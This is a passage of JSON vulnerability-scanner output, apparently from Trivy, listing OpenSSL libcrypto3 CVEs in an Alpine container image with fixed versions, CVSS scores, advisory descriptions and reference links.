"https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.617Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2025-15467", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.6-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-15467", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:32a146ecc090b4ece291e4d1bdae65a0474b707b86becdbbbf2057fae3e0d007", "Title": "openssl: OpenSSL: Remote code execution or Denial of Service via oversized Initialization Vector in CMS parsing", "Description": "Issue summary: Parsing CMS AuthEnvelopedData or EnvelopedData message with\nmaliciously crafted AEAD parameters can trigger a stack buffer overflow.\n\nImpact summary: A stack buffer overflow may lead to a crash, causing Denial\nof Service, or potentially remote code execution.\n\nWhen parsing CMS (Auth)EnvelopedData structures that use AEAD ciphers such as\nAES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is\ncopied into a fixed-size stack buffer without verifying that its length fits\nthe destination. An attacker can supply a crafted CMS message with an\noversized IV, causing a stack-based out-of-bounds write before any\nauthentication or tag verification occurs.\n\nApplications and services that parse untrusted CMS or PKCS#7 content using\nAEAD ciphers (e.g., S/MIME (Auth)EnvelopedData with AES-GCM) are vulnerable.\nBecause the overflow occurs prior to authentication, no valid key material\nis required to trigger it. While exploitability to remote code execution\ndepends on platform and toolchain mitigations, the stack-based write\nprimitive represents a severe risk.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the CMS implementation is outside the OpenSSL FIPS module\nboundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue.\n\nOpenSSL 1.1.1 and 1.0.2 are not affected by this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-787", "CWE-120" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "julia": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/01/27/10", "http://www.openwall.com/lists/oss-security/2026/02/25/6", "https://access.redhat.com/errata/RHSA-2026:1472", "https://access.redhat.com/errata/RHSA-2026:1473", "https://access.redhat.com/errata/RHSA-2026:1496", "https://access.redhat.com/errata/RHSA-2026:1503", "https://access.redhat.com/errata/RHSA-2026:1519", "https://access.redhat.com/errata/RHSA-2026:1594", "https://access.redhat.com/errata/RHSA-2026:1733", "https://access.redhat.com/errata/RHSA-2026:1736", "https://access.redhat.com/errata/RHSA-2026:2072", "https://access.redhat.com/errata/RHSA-2026:2077", "https://access.redhat.com/errata/RHSA-2026:2485", "https://access.redhat.com/errata/RHSA-2026:2563", "https://access.redhat.com/errata/RHSA-2026:2633", "https://access.redhat.com/errata/RHSA-2026:2659", "https://access.redhat.com/errata/RHSA-2026:2671", "https://access.redhat.com/errata/RHSA-2026:2844", "https://access.redhat.com/errata/RHSA-2026:2974", "https://access.redhat.com/errata/RHSA-2026:2995", "https://access.redhat.com/errata/RHSA-2026:3228", "https://access.redhat.com/errata/RHSA-2026:3415", "https://access.redhat.com/errata/RHSA-2026:3461", "https://access.redhat.com/errata/RHSA-2026:3462", "https://access.redhat.com/errata/RHSA-2026:4419", "https://access.redhat.com/errata/RHSA-2026:4943", "https://access.redhat.com/errata/RHSA-2026:6481", "https://access.redhat.com/errata/RHSA-2026:7261", "https://access.redhat.com/security/cve/CVE-2025-15467", "https://bugzilla.redhat.com/2430375", "https://bugzilla.redhat.com/2430376", "https://bugzilla.redhat.com/2430377", "https://bugzilla.redhat.com/2430378", "https://bugzilla.redhat.com/2430379", "https://bugzilla.redhat.com/2430380", "https://bugzilla.redhat.com/2430381", "https://bugzilla.redhat.com/2430386", "https://bugzilla.redhat.com/2430387", "https://bugzilla.redhat.com/2430388", "https://bugzilla.redhat.com/2430389", "https://bugzilla.redhat.com/2430390", "https://bugzilla.redhat.com/show_bug.cgi?id=2430375", "https://bugzilla.redhat.com/show_bug.cgi?id=2430376", "https://bugzilla.redhat.com/show_bug.cgi?id=2430377", "https://bugzilla.redhat.com/show_bug.cgi?id=2430378", "https://bugzilla.redhat.com/show_bug.cgi?id=2430379", "https://bugzilla.redhat.com/show_bug.cgi?id=2430380", "https://bugzilla.redhat.com/show_bug.cgi?id=2430381", "https://bugzilla.redhat.com/show_bug.cgi?id=2430386", "https://bugzilla.redhat.com/show_bug.cgi?id=2430387", "https://bugzilla.redhat.com/show_bug.cgi?id=2430388", "https://bugzilla.redhat.com/show_bug.cgi?id=2430389", "https://bugzilla.redhat.com/show_bug.cgi?id=2430390", "https://cert-portal.siemens.com/productcert/html/ssa-434797.html", "https://cert-portal.siemens.com/productcert/html/ssa-734552.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11187", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15467", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15468", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69418", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69420", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69421", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22796", "https://errata.almalinux.org/9/ALSA-2026-1473.html", "https://errata.rockylinux.org/RLSA-2026:1473", "https://github.com/advisories/GHSA-wvhq-3h88-rf6g", "https://github.com/guiimoraes/CVE-2025-15467", "https://github.com/openssl/openssl/commit/2c8f0e5fa9b6ee5508a0349e4572ddb74db5a703", "https://github.com/openssl/openssl/commit/5f26d4202f5b89664c5c3f3c62086276026ba9a9", "https://github.com/openssl/openssl/commit/6ced0fe6b10faa560e410e3ee8d6c82f06c65ea3", "https://github.com/openssl/openssl/commit/ce39170276daec87f55c39dad1f629b56344429e", "https://github.com/openssl/openssl/commit/d0071a0799f20cc8101730145349ed4487c268dc", "https://linux.oracle.com/cve/CVE-2025-15467.html", "https://linux.oracle.com/errata/ELSA-2026-50081.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-15467", "https://openssl-library.org/news/secadv/20260127.txt", "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-15467.json", "https://ubuntu.com/security/notices/USN-7980-1", "https://www.cve.org/CVERecord?id=CVE-2025-15467" ], "PublishedDate": "2026-01-27T16:16:14.257Z", "LastModifiedDate": "2026-10-15T02:17:23.44Z" }, { "VulnerabilityID": "CVE-2025-69421", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.6-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-69421", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:bda0d16ac2ce2968e33c0ad1a939b76e27ceec6e3698913c1a9eef70e8c5d163", "Title": "openssl: OpenSSL: Denial of Service via malformed PKCS#12 file processing", "Description": "Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer\ndereference in the PKCS12_item_decrypt_d2i_ex() function.\n\nImpact summary: A NULL pointer dereference can trigger a crash which leads to\nDenial of Service for an application processing PKCS#12 files.\n\nThe PKCS12_item_decrypt_d2i_ex() function does not check whether the oct\nparameter is NULL before dereferencing it. When called from\nPKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can\nbe NULL, causing a crash. The vulnerability is limited to Denial of Service\nand cannot be escalated to achieve code execution or memory disclosure.\n\nExploiting this issue requires an attacker to provide a malformed PKCS#12 file\nto an application that processes it. For that reason the issue was assessed as\nLow severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the PKCS#12 implementation is outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "cbl-mariner": 2, "julia": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "rocky": 3, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "V3Score": 6.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:1473", "https://access.redhat.com/security/cve/CVE-2025-69421", "https://bugzilla.redhat.com/2430375", "https://bugzilla.redhat.com/2430376", "https://bugzilla.redhat.com/2430377", "https://bugzilla.redhat.com/2430378", "https://bugzilla.redhat.com/2430379", "https://bugzilla.redhat.com/2430380", "https://bugzilla.redhat.com/2430381", "https://bugzilla.redhat.com/2430386", "https://bugzilla.redhat.com/2430387", "https://bugzilla.redhat.com/2430388", "https://bugzilla.redhat.com/2430389", "https://bugzilla.redhat.com/2430390", "https://bugzilla.redhat.com/show_bug.cgi?id=2430375", "https://bugzilla.redhat.com/show_bug.cgi?id=2430376", "https://bugzilla.redhat.com/show_bug.cgi?id=2430377", "https://bugzilla.redhat.com/show_bug.cgi?id=2430378", "https://bugzilla.redhat.com/show_bug.cgi?id=2430379", "https://bugzilla.redhat.com/show_bug.cgi?id=2430380", "https://bugzilla.redhat.com/show_bug.cgi?id=2430381", "https://bugzilla.redhat.com/show_bug.cgi?id=2430386", "https://bugzilla.redhat.com/show_bug.cgi?id=2430387", "https://bugzilla.redhat.com/show_bug.cgi?id=2430388", "https://bugzilla.redhat.com/show_bug.cgi?id=2430389", "https://bugzilla.redhat.com/show_bug.cgi?id=2430390", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11187", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15467", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15468", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-15469", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-66199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69418", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69420", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-69421", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22795", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22796", "https://errata.almalinux.org/9/ALSA-2026-1473.html", "https://errata.rockylinux.org/RLSA-2026:1473", "https://github.com/advisories/GHSA-w9rv-xc8m-cmqp", "https://github.com/openssl/openssl/commit/3524a29271f8191b8fd8a5257eb05173982a097b", "https://github.com/openssl/openssl/commit/36ecb4960872a4ce04bf6f1e1f4e78d75ec0c0c7", "https://github.com/openssl/openssl/commit/4bbc8d41a72c842ce4077a8a3eccd1109aaf74bd", "https://github.com/openssl/openssl/commit/643986985cd1c21221f941129d76fe0c2785aeb3", "https://github.com/openssl/openssl/commit/a2dbc539f0f9cc63832709fa5aa33ad9495eb19c", "https://linux.oracle.com/cve/CVE-2025-69421.html", "https://linux.oracle.com/errata/ELSA-2026-50081.html", "https://nvd.nist.gov/vuln/detail/CVE-2025-69421", "https://openssl-library.org/news/secadv/20260127.txt", "https://ubuntu.com/security/notices/USN-7980-1", "https://ubuntu.com/security/notices/USN-7980-2", "https://www.cve.org/CVERecord?id=CVE-2025-69421" ], "PublishedDate": "2026-01-27T16:16:34.437Z", "LastModifiedDate": "2026-06-17T10:00:40.683Z" }, { "VulnerabilityID": "CVE-2026-28387", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28387", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:ae40b8f926f9d2148d46aa31b26da80d14e7a16892c846633aea68484740f748", "Title": "openssl: OpenSSL: Arbitrary code execution due to use-after-free in DANE TLSA authentication", "Description": "Issue summary: An uncommon configuration of clients performing DANE TLSA-based\nserver authentication, when paired with uncommon server DANE TLSA records, may\nresult in a use-after-free and/or double-free on the client side.\n\nImpact summary: A use after free can have a range of potential consequences\nsuch as the corruption of valid data, crashes or execution of arbitrary code.\n\nHowever, the issue only affects clients that make use of TLSA records with both\nthe PKIX-TA(0/PKIX-EE(1) certificate usages and the DANE-TA(2) certificate\nusage.\n\nBy far the most common deployment of DANE is in SMTP MTAs for which RFC7672\nrecommends that clients treat as 'unusable' any TLSA records that have the PKIX\ncertificate usages. These SMTP (or other similar) clients are not vulnerable\nto this issue. Conversely, any clients that support only the PKIX usages, and\nignore the DANE-TA(2) usage are also not vulnerable.\n\nThe client would also need to be communicating with a server that publishes a\nTLSA RRset with both types of TLSA records.\n\nNo FIPS modules are affected by this issue, the problem code is outside the\nFIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 1, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L", "V3Score": 3.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28387", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b", "https://github.com/openssl/openssl/commit/258a8f63b26995ba357f4326da00e19e29c6acbe", "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3", "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7", "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177", "https://nvd.nist.gov/vuln/detail/CVE-2026-28387", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28387", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.7Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28388", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28388", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:b2ad19762bd6b311386eadeecd355d6ad7421b638c9e5f2eb38bfd5f45d4d20d", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in delta CRL processing", "Description": "Issue summary: When a delta CRL that contains a Delta CRL Indicator extension\nis processed a NULL pointer dereference might happen if the required CRL\nNumber extension is missing.\n\nImpact summary: A NULL pointer dereference can trigger a crash which\nleads to a Denial of Service for an application.\n\nWhen CRL processing and delta CRL processing is enabled during X.509\ncertificate verification, the delta CRL processing does not check\nwhether the CRL Number extension is NULL before dereferencing it.\nWhen a malformed delta CRL file is being processed, this parameter\ncan be NULL, causing a NULL pointer dereference.\n\nExploiting this issue requires the X509_V_FLAG_USE_DELTAS flag to be enabled in\nthe verification context, the certificate being verified to contain a\nfreshestCRL extension or the base CRL to have the EXFLAG_FRESHEST flag set, and\nan attacker to provide a malformed CRL to an application that processes it.\n\nThe vulnerability is limited to Denial of Service and cannot be escalated to\nachieve code execution or memory disclosure. For that reason the issue was\nassessed as Low severity according to our Security Policy.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue,\nas the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28388", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/openssl/openssl/commit/59c3b3158553ab53275bbbccca5cb305d591cf2e", "https://github.com/openssl/openssl/commit/5a0b4930779cd2408880979db765db919da55139", "https://github.com/openssl/openssl/commit/602542f2c0c2d5edb47128f93eac10b62aeeefb3", "https://github.com/openssl/openssl/commit/a9d187dd1000130100fa7ab915f8513532cb3bb8", "https://github.com/openssl/openssl/commit/d3a901e8d9f021f3e67d6cfbc12e768129862726", "https://nvd.nist.gov/vuln/detail/CVE-2026-28388", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28388", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:20.863Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28389", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28389", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:56b3e0c548d77e1804f6590c69195b97bdbb8ba50eedbe5e673921ecdf52ec08", "Title": "openssl: OpenSSL: Denial of Service vulnerability in CMS processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyAgreeRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyAgreeRecipientInfo is\nprocessed, the optional parameters field of KeyEncryptionAlgorithmIdentifier\nis examined without checking for its presence. This results in a NULL\npointer dereference if the field is missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.9 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-28389", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://github.com/advisories/GHSA-7x88-9hgc-69gf", "https://github.com/openssl/openssl/commit/16cea4188e0ea567deb4f93f85902247e67384f5", "https://github.com/openssl/openssl/commit/785cbf7ea3b5a6f5adf0c1ccb92b79d89c35c616", "https://github.com/openssl/openssl/commit/7b5274e812400cacb6f3be4c2df5340923fa807f", "https://github.com/openssl/openssl/commit/c6725634e089eb2b634b10ede33944be7248172a", "https://github.com/openssl/openssl/commit/f80f83bc5fd036bc47d773e8b15a001e2b4ce686", "https://nvd.nist.gov/vuln/detail/CVE-2026-28389", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28389", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.03Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-28390", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r0", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-28390", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:89bb84ee2c18b4747b05f66e0ffba4185134a369967dd81566b7d401fb08d120", "Title": "openssl: OpenSSL: Denial of Service due to NULL pointer dereference in CMS EnvelopedData processing", "Description": "Issue summary: During processing of a crafted CMS EnvelopedData message\nwith KeyTransportRecipientInfo a NULL pointer dereference can happen.\n\nImpact summary: Applications that process attacker-controlled CMS data may\ncrash before authentication or cryptographic operations occur resulting in\nDenial of Service.\n\nWhen a CMS EnvelopedData message that uses KeyTransportRecipientInfo with\nRSA-OAEP encryption is processed, the optional parameters field of\nRSA-OAEP SourceFunc algorithm identifier is examined without checking\nfor its presence. This results in a NULL pointer dereference if the field\nis missing.\n\nApplications and services that call CMS_decrypt() on untrusted input\n(e.g., S/MIME processing or CMS-based protocols) are vulnerable.\n\nThe FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", "CweIDs": [ "CWE-476" ], "VendorSeverity": { "alma": 2, "amazon": 3, "azure": 2, "julia": 3, "nvd": 3, "oracle-oval": 2, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 1 }, "CVSS": { "julia": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22312", "https://access.redhat.com/errata/RHSA-2026:22313", "https://access.redhat.com/security/cve/CVE-2026-28390", "https://bugzilla.redhat.com/2456314", "https://bugzilla.redhat.com/show_bug.cgi?id=2456314", "https://cert-portal.siemens.com/productcert/html/ssa-032379.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-28390", "https://errata.almalinux.org/9/ALSA-2026-22313.html", "https://errata.rockylinux.org/RLSA-2026:22312", "https://github.com/openssl/openssl/commit/01194a8f1941115cd0383bfa91c736dd3993c8bc", "https://github.com/openssl/openssl/commit/2e39b7a6993be445fddb9fbce316fa756e0397b6", "https://github.com/openssl/openssl/commit/af2a5fecd3e71a29e7568f9c1453dec5cebbaff4", "https://github.com/openssl/openssl/commit/ea7b4ea4f9f853521ba34830cbcadc970d2e0788", "https://github.com/openssl/openssl/commit/fd2f1a6cf53b9ceeca723a001aa4b825d7c7ee75", "https://linux.oracle.com/cve/CVE-2026-28390.html", "https://linux.oracle.com/errata/ELSA-2026-50345.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-28390", "https://openssl-library.org/news/secadv/20260407.txt", "https://ubuntu.com/security/notices/USN-8155-1", "https://ubuntu.com/security/notices/USN-8155-2", "https://www.cve.org/CVERecord?id=CVE-2026-28390", "https://www.openwall.com/lists/oss-security/2026/04/07/11" ], "PublishedDate": "2026-04-07T22:16:21.19Z", "LastModifiedDate": "2026-07-24T23:10:00.563Z" }, { "VulnerabilityID": "CVE-2026-45447", "PkgID": "libcrypto3@3.3.5-r0", "PkgName": "libcrypto3", "PkgIdentifier": { "PURL": "pkg:apk/alpine/libcrypto3@3.3.5-r0?arch=x86_64\u0026distro=3.21.5", "UID": "15bbec8716141e63" }, "InstalledVersion": "3.3.5-r0", "FixedVersion": "3.3.7-r1", "Status": "fixed", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-45447", "DataSource": { "ID": "alpine", "Name": "Alpine Secdb", "URL": "https://secdb.alpinelinux.org/" }, "Fingerprint": "sha256:89600fcfbeb37c096533a0efce6596fe2b1694985d92926809351de097fdb961", "Title": "openssl: Heap Use-After-Free in OpenSSL PKCS7_verify()", "Description": "Issue summary: A specially crafted PKCS#7 or S/MIME signed message could\ntrigger a use-after-free during PKCS#7 signature verification.\n\nImpact summary: A use-after-free may result in process crashes, heap\ncorruption, or potentially remote code execution.\n\nWhen processing a PKCS#7 or S/MIME signed message, if the SignedData\ndigestAlgorithms field is present as an empty ASN.1 SET, OpenSSL may\nincorrectly free a caller-owned BIO during PKCS7_verify(). A subsequent\nuse of the BIO by the calling application results in a use-after-free\ncondition.\n\nIn the common case this occurs when the application later calls\nBIO_free() on the BIO originally passed to PKCS7_verify(). Depending\non allocator behavior and application-specific BIO usage patterns, this\nmay result in a crash or other memory corruption. In some application\ncontexts this may potentially be exploitable for remote code execution.\n\nApplications that process PKCS#7 or S/MIME signed messages using OpenSSL\nPKCS#7 APIs may be affected. Applications using the CMS APIs for this\nprocessing are not affected.\n\nThe FIPS modules in 4.0, 3.6, 3.5, 3.4, and 3.0 are not affected by this\nissue, as the affected code is outside the OpenSSL FIPS module boundary.", "Severity": "HIGH", 